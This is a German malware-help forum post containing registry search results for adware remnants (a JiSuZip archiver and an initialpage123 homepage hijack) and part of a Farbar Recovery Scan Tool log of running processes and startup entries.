@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.057\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.058\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.058\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.059\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.059\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.06\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.06\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.060\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.060\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.061\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.061\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.062\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.062\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.063\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.063\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.064\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.064\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.065\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.065\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.066\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.066\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.067\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.067\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.068\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.068\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.069\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.069\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.07\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.07\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.070\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.070\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.071\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.071\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.072\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.072\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.073\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.073\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.074\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.074\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.075\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.075\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.076\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.076\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.077\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.077\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.078\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.078\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.079\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.079\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.08\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.08\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.080\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.080\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.081\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.081\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.082\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.082\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.083\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.083\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.084\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.084\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.085\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.085\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.086\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.086\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.087\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.087\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.088\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.088\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.089\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.089\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.09\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.09\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.090\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.090\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.091\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.091\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.092\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.092\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.093\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.093\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.094\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.094\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.095\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.095\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.096\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.096\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.097\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.097\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.098\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.098\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.099\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.099\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.7z\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.7z\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.arj\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.arj\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.bz2\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.bz2\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.cab\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.cab\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.gz\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.gz\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.gzip\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.gzip\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.iso\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.iso\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.jar\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.jar\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.lzh\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.lzh\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.rar\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.rar\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.rpm\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.rpm\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tar\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tar\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tbz\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tbz\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tgz\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tgz\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.wim\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.wim\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.z\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.z\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.zip\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.zip\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"31"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\极速压缩\卸载极速压缩.lnk C:\Program Files (x86)\Maoha\JiSuZip\Uninstall.exe"

Searching for "jhdbca"
No data found.

Searching for "SearchModule"
No data found.

Searching for "OtherSearch"
No data found.

Searching for "initialpage123"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft]
"help"="hxxp://www.initialpage123.com/?z=8c80cc79a795b014659e12fg9z5t3q1zcg4w8t0gfo&from=bcn&uid=SamsungXSSDX850XEVOXMX2X250GB_S33CNX0J318678L&type=hp"

Searching for "Soci2Sear"
No data found.

Searching for "pchandller"
No data found.

Searching for "CKADOLEATGY NODIFIER"
No data found.

Searching for "REERKUCULTPRIFERY"
No data found.

Searching for "Ckadoleatgy Nodifier"
No data found.

-= EOF =-
Entschuldige bitte, dass ich die Teile wieder trennen und in mehreren Antworten posten musste. Habe das mit der Zip nicht wirklich hinbekommen:crazy:

Twix. 03.06.2017 15:46
FRST1:
Code:
Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 02-06-2017
durchgeführt von **** (Administrator) auf WHOPPER (03-06-2017 16:30:35)
Gestartet von C:\Users\****\Desktop
Geladene Profile: **** (Verfügbare Profile: ****)
Platform: Windows 10 Home Version 1703 (X64) Sprache: Deutsch (Deutschland)
Internet Explorer Version 11 (Standard-Browser: FF)
Start-Modus: Normal
Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxCUIService.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
(Intel Corporation) C:\Windows\System32\ibtsiva.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHDCPSvc.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\HotkeyService.exe
(Insyde Software Corp.) C:\Program Files (x86)\Hotkey\Driver\x64\HKClipSvc.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe
(Intel(R) Corporation) C:\Program Files\Intel\Intel(R) Online Connect Access\IntelTechnologyAccessService.exe
(Intel(R) Corporation) C:\Program Files\Intel\Intel(R) Online Connect Access\LegacyCsLoaderService.exe
(TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHeciSvc.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Online Connect\ioc.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvContainer\nvcontainer.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPHelper.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxEM.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
(IvoSoft) C:\Program Files\Classic Shell\ClassicStartMenu.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\MSASCuiL.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvspcaps64.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
(Overwolf LTD) C:\Program Files (x86)\Overwolf\Overwolf.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvsphelper64.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe
(Overwolf LTD) C:\Program Files (x86)\Overwolf\0.104.210.0\OverwolfBrowser.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe
(Node.js) C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\HkeyTray.exe
(Creative Technology Ltd) C:\Program Files (x86)\Creative\Sound Blaster Cinema 3\Sound Blaster Cinema 3\SBCinema3.exe
(Overwolf LTD) C:\Program Files (x86)\Common Files\Overwolf\0.104.210.0\OverwolfHelper.exe
(Overwolf LTD) C:\Program Files (x86)\Common Files\Overwolf\0.104.210.0\OverwolfHelper64.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamuseragent.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\ComboKeyTray.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe
(Microsoft Corporation) C:\Windows\System32\smartscreen.exe

==================== Registry (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [SecurityHealth] => C:\Program Files\Windows Defender\MSASCuiL.exe [629152 2017-03-18] (Microsoft Corporation)
HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [16781824 2017-04-12] (Realtek Semiconductor)
HKLM\...\Run: [ShadowPlay] => "C:\windows\system32\rundll32.exe" C:\windows\system32\nvspcap64.dll,ShadowPlayOnSystemStart
HKLM\...\Run: [MBCfg64] => C:\windows\system32\RunDLL32.exe C:\windows\system32\MBCfg64.dll,RunDLLEntry MBCfg64
HKLM\...\Run: [IAStorIcon] => C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe [320568 2016-09-20] (Intel Corporation)
HKLM\...\Run: [Classic Start Menu] => C:\Program Files\Classic Shell\ClassicStartMenu.exe [163800 2016-07-30] (IvoSoft)
HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [3146704 2017-05-09] (Malwarebytes)
HKLM-x32\...\Run: [Sound Blaster Cinema 3] => C:\Program Files (x86)\Creative\Sound Blaster Cinema 3\Sound Blaster Cinema 3\SBCinema3.exe [1464832 2016-07-29] (Creative Technology Ltd)
HKLM-x32\...\Run: [UpdReg] => C:\windows\UpdReg.EXE [90112 2000-05-11] (Creative Technology Ltd.)
HKU\S-1-5-21-743485210-3963512150-464095969-1003\...\Run: [Overwolf] => C:\Program Files (x86)\Overwolf\OverwolfLauncher.exe [1058360 2017-05-14] ()
HKU\S-1-5-21-743485210-3963512150-464095969-1003\...\Run: [Steam] => D:\Steam\steam.exe [3042592 2017-06-01] (Valve Corporation)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\NewShortcut1.lnk [2017-05-12]
ShortcutTarget: NewShortcut1.lnk -> C:\Program Files (x86)\Hotkey\HkeyTray.exe (CLEVO CO.)

